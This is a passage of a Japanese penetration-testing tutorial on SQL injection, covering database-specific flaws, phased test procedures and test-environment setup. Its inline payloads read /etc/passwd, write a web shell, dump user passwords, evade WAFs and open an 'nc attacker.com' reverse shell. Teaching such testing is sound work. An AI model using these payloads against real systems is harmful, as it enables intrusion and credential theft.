&#8211;\u300d\u306e\u3088\u3046\u306b\u3001\u7ba1\u7406\u8005\u6a29\u9650\u3092\u6301\u3064\u79d8\u5bc6\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u4f5c\u6210\u3059\u308b\u3053\u3068\u3082\u53ef\u80fd\u3067\u3059\u3002\u305f\u3060\u3057\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3084\u30c9\u30e9\u30a4\u30d0\u306e\u8a2d\u5b9a\u306b\u3088\u3063\u3066\u306f\u3001\u3053\u306e\u624b\u6cd5\u304c\u5236\u9650\u3055\u308c\u3066\u3044\u308b\u5834\u5408\u3082\u3042\u308a\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>Out-of-Band\u653b\u6483<\/strong>\uff1a\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u5916\u90e8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3078\u306e\u901a\u4fe1\u3092\u5229\u7528\u3059\u308b\u9ad8\u5ea6\u306a\u624b\u6cd5\u3067\u3059\u3002DNS\u30af\u30a8\u30ea\u3084HTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u901a\u3058\u3066\u60c5\u5831\u3092\u5916\u90e8\u306b\u9001\u4fe1\u3055\u305b\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001Microsoft SQL Server\u306e\u5834\u5408\u3001\u300c&#8217;; EXEC master..xp_dirtree &#8216;\\\\\u653b\u6483\u8005\u306e\u30b5\u30fc\u30d0\u30fc\\share&#8217;&#8211;\u300d\u306e\u3088\u3046\u306a\u5165\u529b\u306b\u3088\u308a\u3001\u30c7\u30fc\u30bf\u3092\u5916\u90e8\u306b\u8ee2\u9001\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u62bd\u51fa\u3057\u305f\u30c7\u30fc\u30bf\u3092DNS\u30af\u30a8\u30ea\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u90e8\u5206\u306b\u57cb\u3081\u8fbc\u3080\u300cDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u300d\u6280\u8853\u3082\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u56fa\u6709\u306e\u8106\u5f31\u6027<\/h3>\n\n\n\n<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u6319\u52d5\u306f\u3001\u4f7f\u7528\u3057\u3066\u3044\u308b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0\u306b\u3088\u3063\u3066\u7570\u306a\u308a\u307e\u3059\u3002<strong>MySQL<\/strong>\u3067\u306f\u3001INFORMATION_SCHEMA\u3092\u5229\u7528\u3057\u305f\u30c6\u30fc\u30d6\u30eb\u69cb\u9020\u306e\u628a\u63e1\u3084\u3001LOAD_FILE\u306b\u3088\u308b\u30d5\u30a1\u30a4\u30eb\u8aad\u307f\u53d6\u308a\u304c\u53ef\u80fd\u3067\u3059\u3002\u300c&#8217; UNION SELECT LOAD_FILE(&#8216;\/etc\/passwd&#8217;)&#8211;\u300d\u3067\u30b7\u30b9\u30c6\u30e0\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u308c\u307e\u3059\u3002\u3055\u3089\u306b\u3001\u300cINTO OUTFILE\u300d\u53e5\u3092\u4f7f\u7528\u3057\u3066\u3001\u300c&#8217; UNION SELECT &#8221; INTO OUTFILE &#8216;\/var\/www\/html\/shell.php&#8217;&#8211;\u300d\u306e\u3088\u3046\u306bWeb\u30b7\u30a7\u30eb\u3092\u8a2d\u7f6e\u3067\u304d\u308b\u5834\u5408\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>PostgreSQL<\/strong>\u3067\u306f\u3001\u300cpg_read_file\u300d\u95a2\u6570\u3067\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u308a\u3001\u300cCOPY TO PROGRAM\u300d\u53e5\u3092\u4f7f\u7528\u3059\u308b\u3068\u3001\u300c&#8217;; COPY (SELECT &#8221;) TO PROGRAM &#8216;nc attacker.com 4444 -e \/bin\/bash&#8217;; &#8211;\u300d\u306e\u3088\u3046\u306bOS\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u53ef\u80fd\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>Microsoft SQL Server<\/strong>\u3067\u306f\u3001\u300cxp_cmdshell\u300d\u3092\u4f7f\u7528\u3059\u308b\u3068\u3001\u300c&#8217;; EXEC xp_cmdshell &#8216;whoami&#8217;; &#8211;\u300d\u306e\u3088\u3046\u306bOS\u30b3\u30de\u30f3\u30c9\u3092\u76f4\u63a5\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306f\u7121\u52b9\u5316\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001\u6a29\u9650\u304c\u3042\u308c\u3070\u6709\u52b9\u5316\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>Oracle Database<\/strong>\u3067\u306f\u3001\u300cUTL_HTTP\u300d\u30d1\u30c3\u30b1\u30fc\u30b8\u3067HTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3057\u3001\u300cUTL_FILE\u300d\u3067\u30d5\u30a1\u30a4\u30eb\u8aad\u307f\u66f8\u304d\u3001\u300cDBMS_SCHEDULER\u300d\u3067\u30b8\u30e7\u30d6\u3092\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3057\u3066\u6c38\u7d9a\u7684\u306a\u30d0\u30c3\u30af\u30c9\u30a2\u3092\u8a2d\u7f6e\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306e\u57fa\u672c\u624b\u9806<\/h2>\n\n\n\n<p><strong>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8<\/strong>\u306f\u6bb5\u968e\u7684\u306a\u30a2\u30d7\u30ed\u30fc\u30c1\u3067\u5b9f\u65bd\u3057\u307e\u3059\u3002\u307e\u305a\u3001\u5bfe\u8c61\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u5165\u529b\u30dd\u30a4\u30f3\u30c8\u3092\u7279\u5b9a\u3057\u3001\u5404\u30dd\u30a4\u30f3\u30c8\u306b\u5bfe\u3057\u3066\u30c6\u30b9\u30c8\u7528\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u305d\u306e\u5f8c\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u5fdc\u7b54\u3092\u5206\u6790\u3057\u3001\u8106\u5f31\u6027\u306e\u6709\u7121\u3092\u5224\u5b9a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30d5\u30a7\u30fc\u30ba1\uff1a\u60c5\u5831\u53ce\u96c6\u3068\u653b\u6483\u9762\u306e\u7279\u5b9a<\/strong>\u3067\u306f\u3001\u30c6\u30b9\u30c8\u5bfe\u8c61\u306e\u5168\u4f53\u50cf\u3092\u628a\u63e1\u3057\u307e\u3059\u3002Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u3059\u3079\u3066\u306e\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3001\u5165\u529b\u30d5\u30a9\u30fc\u30e0\u3001URL\u30d1\u30e9\u30e1\u30fc\u30bf\u3001Cookie\u30d1\u30e9\u30e1\u30fc\u30bf\u3001HTTP\u30d8\u30c3\u30c0\u30fc\u306a\u3069\u3001\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u53d7\u3051\u4ed8\u3051\u308b\u7b87\u6240\u3092\u30ea\u30b9\u30c8\u30a2\u30c3\u30d7\u3057\u307e\u3059\u3002Burp Suite \u3084 OWASP ZAP \u306a\u3069\u306e\u30d7\u30ed\u30ad\u30b7\u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3001\u3059\u3079\u3066\u306eHTTP\u901a\u4fe1\u3092\u30a4\u30f3\u30bf\u30fc\u30bb\u30d7\u30c8\u3057\u3001\u8a18\u9332\u3057\u307e\u3059\u3002JavaScript\u3067\u52d5\u7684\u306b\u751f\u6210\u3055\u308c\u308b\u30ea\u30af\u30a8\u30b9\u30c8\u3084\u3001Ajax\u306b\u3088\u308b\u975e\u540c\u671f\u901a\u4fe1\u3082\u898b\u9003\u3055\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30d5\u30a7\u30fc\u30ba2\uff1a\u8106\u5f31\u6027\u306e\u691c\u51fa<\/strong>\u3067\u306f\u3001\u5404\u5165\u529b\u30dd\u30a4\u30f3\u30c8\u306b\u5bfe\u3057\u3066\u4f53\u7cfb\u7684\u306b\u30c6\u30b9\u30c8\u3092\u5b9f\u65bd\u3057\u307e\u3059\u3002\u307e\u305a\u3001\u30b7\u30f3\u30b0\u30eb\u30af\u30a9\u30fc\u30c8\u300c&#8217;\u300d\u3092\u5165\u529b\u3057\u3001\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u3084\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u6319\u52d5\u3092\u89b3\u5bdf\u3057\u307e\u3059\u3002\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u305f\u5834\u5408\u3001\u305d\u308c\u304cSQL\u30a8\u30e9\u30fc\u3067\u3042\u308b\u304b\u3092\u78ba\u8a8d\u3057\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u7a2e\u985e\u3084\u30d0\u30fc\u30b8\u30e7\u30f3\u60c5\u5831\u3092\u63a8\u6e2c\u3057\u307e\u3059\u3002\u6b21\u306b\u3001\u300c&#8217; AND &#8216;1&#8217;=&#8217;1\u300d\u3068\u300c&#8217; AND &#8216;1&#8217;=&#8217;2\u300d\u3092\u6bd4\u8f03\u3057\u3001\u6319\u52d5\u306e\u9055\u3044\u3092\u89b3\u5bdf\u3057\u307e\u3059\u3002\u300c&#8217; OR &#8216;1&#8217;=&#8217;1\u300d\u3067\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u3092\u8a66\u884c\u3057\u3001\u30b3\u30e1\u30f3\u30c8\u8a18\u53f7\u300c&#8211;\u300d\u300c#\u300d\u300c\/* *\/\u300d\u3067\u30af\u30a8\u30ea\u306e\u5f8c\u7d9a\u90e8\u5206\u3092\u7121\u52b9\u5316\u3067\u304d\u308b\u304b\u30c6\u30b9\u30c8\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u30d5\u30a3\u30f3\u30ac\u30fc\u30d7\u30ea\u30f3\u30c6\u30a3\u30f3\u30b0<\/strong>\u306b\u3088\u308a\u3001\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u7a2e\u985e\u3068\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u7279\u5b9a\u3057\u307e\u3059\u3002\u5404\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u306f\u56fa\u6709\u306e\u95a2\u6570\u3084\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u3042\u308a\u3001\u3053\u308c\u3089\u3092\u624b\u304c\u304b\u308a\u306b\u3057\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001MySQL \u3067\u306f\u300c&#8217; AND SLEEP(5)&#8211;\u300d\u3067\u9045\u5ef6\u304c\u767a\u751f\u3057\u3001PostgreSQL \u3067\u306f\u300c&#8217; AND 1::int=1&#8211;\u300d\u3067\u30a8\u30e9\u30fc\u304c\u767a\u751f\u305b\u305a\u3001SQL Server \u3067\u306f\u300c&#8217; AND LEN(&#8216;a&#8217;)=1&#8211;\u300d\u304c\u6709\u52b9\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30d5\u30a7\u30fc\u30ba3\uff1a\u8106\u5f31\u6027\u306e\u6df1\u5ea6\u78ba\u8a8d<\/strong>\u3067\u306f\u3001\u691c\u51fa\u3055\u308c\u305f\u8106\u5f31\u6027\u304c\u3069\u306e\u7a0b\u5ea6\u60aa\u7528\u53ef\u80fd\u304b\u3092\u8a55\u4fa1\u3057\u307e\u3059\u3002UNION\u653b\u6483\u3092\u4f7f\u7528\u3057\u3066\u30ab\u30e9\u30e0\u6570\u3092\u7279\u5b9a\u3057\u3001\u4ed6\u306e\u30c6\u30fc\u30d6\u30eb\u304b\u3089\u60c5\u5831\u3092\u53d6\u5f97\u3067\u304d\u308b\u304b\u8a66\u307f\u307e\u3059\u3002\u300c&#8217; ORDER BY 1&#8211;\u300d\u304b\u3089\u9806\u6b21\u6570\u5024\u3092\u5897\u3084\u3057\u3001\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3059\u308b\u76f4\u524d\u306e\u6570\u5024\u3067\u30ab\u30e9\u30e0\u6570\u3092\u7279\u5b9a\u3057\u307e\u3059\u3002\u6b21\u306b\u3001\u300c&#8217; UNION SELECT NULL, NULL, NULL&#8211;\u300d\u3067\u30ab\u30e9\u30e0\u6570\u3092\u78ba\u8a8d\u3057\u3001\u300c&#8217; UNION SELECT table_name, NULL, NULL FROM information_schema.tables&#8211;\u300d\u3067\u30c6\u30fc\u30d6\u30eb\u4e00\u89a7\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u53ef\u80fd\u3067\u3042\u308c\u3070\u3001\u300c&#8217; UNION SELECT username, password, email FROM users&#8211;\u300d\u3067\u5b9f\u969b\u306e\u30c7\u30fc\u30bf\u3092\u62bd\u51fa\u3057\u3001\u5f71\u97ff\u7bc4\u56f2\u3092\u660e\u78ba\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30d5\u30a7\u30fc\u30ba4\uff1a\u6a29\u9650\u6607\u683c\u3068\u30b7\u30b9\u30c6\u30e0\u4fb5\u5bb3\u306e\u691c\u8a3c<\/strong>\u3067\u306f\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u64cd\u4f5c\u3092\u8d85\u3048\u305f\u653b\u6483\u306e\u53ef\u80fd\u6027\u3092\u63a2\u308a\u307e\u3059\u3002\u73fe\u5728\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30e6\u30fc\u30b6\u30fc\u306e\u6a29\u9650\u3092\u78ba\u8a8d\u3057\u3001\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u30a2\u30af\u30bb\u30b9\u3084OS\u30b3\u30de\u30f3\u30c9\u306e\u5b9f\u884c\u304c\u53ef\u80fd\u304b\u3092\u30c6\u30b9\u30c8\u3057\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u5b9f\u969b\u306b\u7834\u58ca\u7684\u306a\u64cd\u4f5c\u3092\u5b9f\u884c\u305b\u305a\u3001\u5b9f\u884c\u53ef\u80fd\u6027\u306e\u78ba\u8a8d\u306b\u7559\u3081\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u30c6\u30b9\u30c8\u74b0\u5883\u306e\u6e96\u5099<\/h3>\n\n\n\n<p>\u30c6\u30b9\u30c8\u74b0\u5883\u3067\u306f\u3001\u672c\u756a\u74b0\u5883\u3068\u540c\u7b49\u306e\u69cb\u6210\u3092\u69cb\u7bc9\u3057\u3001\u30c6\u30b9\u30c8\u7528\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3092\u6e96\u5099\u3057\u307e\u3059\u3002\u30ed\u30b0\u6a5f\u80fd\u3092\u6709\u52b9\u306b\u3057\u3066\u3001SQL\u6587\u306e\u5b9f\u884c\u72b6\u6cc1\u3092\u76e3\u8996\u3067\u304d\u308b\u74b0\u5883\u3092\u6574\u5099\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002\u307e\u305f\u3001\u30c6\u30b9\u30c8\u5b9f\u65bd\u524d\u306b\u306f\u5fc5\u305a\u30c7\u30fc\u30bf\u306e\u30d0\u30c3\u30af\u30a2\u30c3\u30d7\u3092\u53d6\u5f97\u3057\u3066\u304a\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u9694\u96e2\u3055\u308c\u305f\u74b0\u5883\u306e\u69cb\u7bc9<\/strong>\u304c\u7b2c\u4e00\u306e\u8981\u4ef6\u3067\u3059\u3002\u672c\u756a\u74b0\u5883\u3067\u306e\u30c6\u30b9\u30c8\u5b9f\u65bd\u306f\u7d76\u5bfe\u306b\u907f\u3051\u308b\u3079\u304d\u3067\u3001\u5c02\u7528\u306e\u30c6\u30b9\u30c8\u74b0\u5883\u307e\u305f\u306f\u30b9\u30c6\u30fc\u30b8\u30f3\u30b0\u74b0\u5883\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002Docker\u3001Kubernetes\u3001VMware \u306a\u3069\u306e\u4eee\u60f3\u5316\u6280\u8853\u3092\u6d3b\u7528\u3057\u3001\u30c6\u30b9\u30c8\u5b8c\u4e86\u5f8c\u306b\u5bb9\u6613\u306b\u521d\u671f\u72b6\u614b\u306b\u623b\u305b\u308b\u74b0\u5883\u304c\u7406\u60f3\u7684\u3067\u3059\u3002\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3082\u672c\u756a\u74b0\u5883\u304b\u3089\u5206\u96e2\u3057\u3001\u4e07\u304c\u4e00\u306e\u4e8b\u6545\u304c\u672c\u756a\u30b7\u30b9\u30c6\u30e0\u306b\u5f71\u97ff\u3057\u306a\u3044\u3088\u3046\u8a2d\u8a08\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u8a73\u7d30\u30ed\u30b0\u8a2d\u5b9a<\/strong>\u306b\u3088\u308a\u3001\u30c6\u30b9\u30c8\u4e2d\u306b\u5b9f\u884c\u3055\u308c\u308b\u3059\u3079\u3066\u306eSQL\u30af\u30a8\u30ea\u3092\u8a18\u9332\u3057\u307e\u3059\u3002MySQL\u306e\u5834\u5408\u306f\u300cSET GLOBAL general_log = &#8216;ON&#8217;;\u300d\u3001PostgreSQL\u306e\u5834\u5408\u306f\u300cALTER SYSTEM SET log_statement = &#8216;all&#8217;;\u300d\u3067\u30ed\u30b0\u3092\u6709\u52b9\u5316\u3057\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u3069\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u3069\u306e\u3088\u3046\u306a\u30af\u30a8\u30ea\u3092\u751f\u6210\u3057\u305f\u304b\u3092\u6b63\u78ba\u306b\u8ffd\u8de1\u3067\u304d\u3001\u8106\u5f31\u6027\u306e\u539f\u56e0\u5206\u6790\u304c\u5bb9\u6613\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30c6\u30b9\u30c8\u30c7\u30fc\u30bf\u306e\u6e96\u5099<\/strong>\u3067\u306f\u3001\u672c\u756a\u74b0\u5883\u306b\u8fd1\u3044\u30c7\u30fc\u30bf\u69cb\u9020\u3068\u91cf\u3092\u518d\u73fe\u3057\u3064\u3064\u3001\u6a5f\u5bc6\u60c5\u5831\u306f\u542b\u3081\u307e\u305b\u3093\u3002Faker\u3001Mockaroo \u306a\u3069\u306e\u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3001\u6c0f\u540d\u3001\u4f4f\u6240\u3001\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306a\u3069\u306e\u30ea\u30a2\u30eb\u306a\u30c0\u30df\u30fc\u30c7\u30fc\u30bf\u3092\u5927\u91cf\u306b\u751f\u6210\u3057\u307e\u3059\u3002\u6a29\u9650\u30ec\u30d9\u30eb\u306e\u7570\u306a\u308b\u8907\u6570\u306e\u30e6\u30fc\u30b6\u30fc\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u6e96\u5099\u3059\u308b\u3053\u3068\u3067\u3001\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u3082\u691c\u8a3c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u76e3\u8996\u3068\u30a2\u30e9\u30fc\u30c8\u6a5f\u80fd<\/strong>\u3092\u8a2d\u5b9a\u3057\u3001\u7570\u5e38\u306a\u6d3b\u52d5\u3092\u5373\u5ea7\u306b\u691c\u51fa\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002\u5927\u91cf\u306e\u30a8\u30e9\u30fc\u767a\u751f\u3001\u7570\u5e38\u306b\u9577\u3044\u30af\u30a8\u30ea\u5b9f\u884c\u6642\u9593\u3001\u7279\u5b9a\u306e\u30b7\u30b9\u30c6\u30e0\u30c6\u30fc\u30d6\u30eb\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306a\u3069\u3092\u30c8\u30ea\u30ac\u30fc\u3068\u3057\u3066\u30a2\u30e9\u30fc\u30c8\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002Prometheus\u3001Grafana \u306a\u3069\u306e\u30c4\u30fc\u30eb\u3067\u30ea\u30bd\u30fc\u30b9\u4f7f\u7528\u72b6\u6cc1\u3092\u30e2\u30cb\u30bf\u30ea\u30f3\u30b0\u3057\u3001\u30c6\u30b9\u30c8\u306b\u3088\u308a\u30b7\u30b9\u30c6\u30e0\u30ea\u30bd\u30fc\u30b9\u304c\u67af\u6e07\u3059\u308b\u5146\u5019\u304c\u3042\u308c\u3070\u3001\u5373\u5ea7\u306b\u30c6\u30b9\u30c8\u3092\u4e2d\u65ad\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5165\u529b\u5024\u306e\u691c\u8a3c\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u5404\u5165\u529b\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u5bfe\u3057\u3066\u3001\u30b7\u30f3\u30b0\u30eb\u30af\u30a9\u30fc\u30c8\uff08&#8217;\uff09\u3084\u30c0\u30d6\u30eb\u30af\u30a9\u30fc\u30c8\uff08&#8221;\uff09\u3001\u30bb\u30df\u30b3\u30ed\u30f3\uff08;\uff09\u306a\u3069\u306e\u7279\u6b8a\u6587\u5b57\u3092\u542b\u3080\u6587\u5b57\u5217\u3092\u5165\u529b\u3057\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u53cd\u5fdc\u3092\u78ba\u8a8d\u3057\u307e\u3059\u3002\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u5185\u5bb9\u3084\u5fdc\u7b54\u6642\u9593\u306e\u5909\u5316\u3092\u8a73\u7d30\u306b\u89b3\u5bdf\u3059\u308b\u3053\u3068\u3067\u3001\u8106\u5f31\u6027\u306e\u5b58\u5728\u3092\u7279\u5b9a\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u7279\u6b8a\u6587\u5b57\u306e\u4f53\u7cfb\u7684\u30c6\u30b9\u30c8<\/strong>\u3068\u3057\u3066\u3001\u30b7\u30f3\u30b0\u30eb\u30af\u30a9\u30fc\u30c8\u300c&#8217;\u300d\u3001\u30c0\u30d6\u30eb\u30af\u30a9\u30fc\u30c8\u300c&#8221;\u300d\u3001\u30d0\u30c3\u30af\u30af\u30a9\u30fc\u30c8\u300c`\u300d\u3001\u30bb\u30df\u30b3\u30ed\u30f3\u300c;\u300d\u3001\u30cf\u30a4\u30d5\u30f3\u300c&#8211;\u300d\u3001\u30cf\u30c3\u30b7\u30e5\u300c#\u300d\u3001\u30b9\u30e9\u30c3\u30b7\u30e5\u30a2\u30b9\u30bf\u30ea\u30b9\u30af\u300c\/* *\/\u300d\u3001\u30d0\u30c3\u30af\u30b9\u30e9\u30c3\u30b7\u30e5\u300c\\\u300d\u306a\u3069\u3092\u9806\u6b21\u30c6\u30b9\u30c8\u3057\u307e\u3059\u3002\u5404\u6587\u5b57\u306b\u5bfe\u3059\u308b\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u5fdc\u7b54\u3092\u8a18\u9332\u3057\u3001\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u5185\u5bb9\u3092\u5206\u6790\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u8ad6\u7406\u6f14\u7b97\u5b50\u306e\u30c6\u30b9\u30c8<\/strong>\u3067\u306f\u3001\u300c&#8217; OR &#8216;1&#8217;=&#8217;1\u300d\uff08\u5e38\u306b\u771f\uff09\u3068\u300c&#8217; OR &#8216;1&#8217;=&#8217;2\u300d\uff08\u5e38\u306b\u507d\uff09\u3092\u6bd4\u8f03\u3057\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u6319\u52d5\u5909\u5316\u3092\u89b3\u5bdf\u3057\u307e\u3059\u3002\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u306e\u5834\u5408\u3001\u524d\u8005\u3067\u8a8d\u8a3c\u304c\u901a\u308b\u5834\u5408\u306f\u660e\u78ba\u306a\u8106\u5f31\u6027\u3067\u3059\u3002\u307e\u305f\u3001\u300c&#8217;) OR (&#8216;1&#8217;=&#8217;1\u300d\u306e\u3088\u3046\u306b\u62ec\u5f27\u3092\u542b\u3080\u30d0\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u3082\u30c6\u30b9\u30c8\u3057\u3001\u69d8\u3005\u306a\u30af\u30a8\u30ea\u69cb\u9020\u306b\u5bfe\u5fdc\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u5fdc\u7b54\u6642\u9593\u5206\u6790<\/strong>\u3067\u306f\u3001SLEEP\u3001WAITFOR \u306a\u3069\u306e\u95a2\u6570\u3092\u542b\u3080\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u9001\u4fe1\u3057\u3001\u901a\u5e38\u306e\u5fdc\u7b54\u6642\u9593\u3068\u6bd4\u8f03\u3057\u307e\u3059\u3002\u901a\u5e38\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u5fdc\u7b54\u6642\u9593\u309210\u56de\u6e2c\u5b9a\u3057\u3066\u5e73\u5747\u3092\u8a08\u7b97\u3057\u3001\u300c&#8217; AND SLEEP(5)&#8211;\u300d\u306e\u3088\u3046\u306a\u30da\u30a4\u30ed\u30fc\u30c9\u3067\u7d045\u79d2\u306e\u9045\u5ef6\u304c\u767a\u751f\u3059\u308b\u304b\u3092\u78ba\u8a8d\u3057\u307e\u3059\u3002\u540c\u3058\u30c6\u30b9\u30c8\u3092\u8907\u6570\u56de\u7e70\u308a\u8fd4\u3057\u3001\u4e00\u8cab\u3057\u3066\u9045\u5ef6\u304c\u767a\u751f\u3059\u308b\u304b\u3092\u691c\u8a3c\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u30d0\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3<\/strong>\u306e\u30c6\u30b9\u30c8\u3082\u91cd\u8981\u3067\u3059\u3002URL\u30a8\u30f3\u30b3\u30fc\u30c9\uff08\u300c&#8217;\u300d\u2192\u300c%27\u300d\uff09\u3001\u4e8c\u91cdURL\u30a8\u30f3\u30b3\u30fc\u30c9\uff08\u300c&#8217;\u300d\u2192\u300c%2527\u300d\uff09\u3001Unicode\u30a8\u30f3\u30b3\u30fc\u30c9\uff08\u300c&#8217;\u300d\u2192\u300c\\u0027\u300d\uff09\u306a\u3069\u3001\u69d8\u3005\u306a\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u65b9\u5f0f\u3067\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001WAF\u3084\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u6a5f\u69cb\u3092\u56de\u907f\u3067\u304d\u308b\u53ef\u80fd\u6027\u3092\u691c\u8a3c\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u30c6\u30b9\u30c8\u3067\u4f7f\u7528\u3059\u308b\u4ee3\u8868\u7684\u306a\u5165\u529b\u5024<\/h2>\n\n\n\n<p>\u52b9\u679c\u7684\u306a\u30c6\u30b9\u30c8\u306b\u306f\u4ee5\u4e0b\u306e\u5165\u529b\u5024\u3092\u4f7f\u7528\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<ul 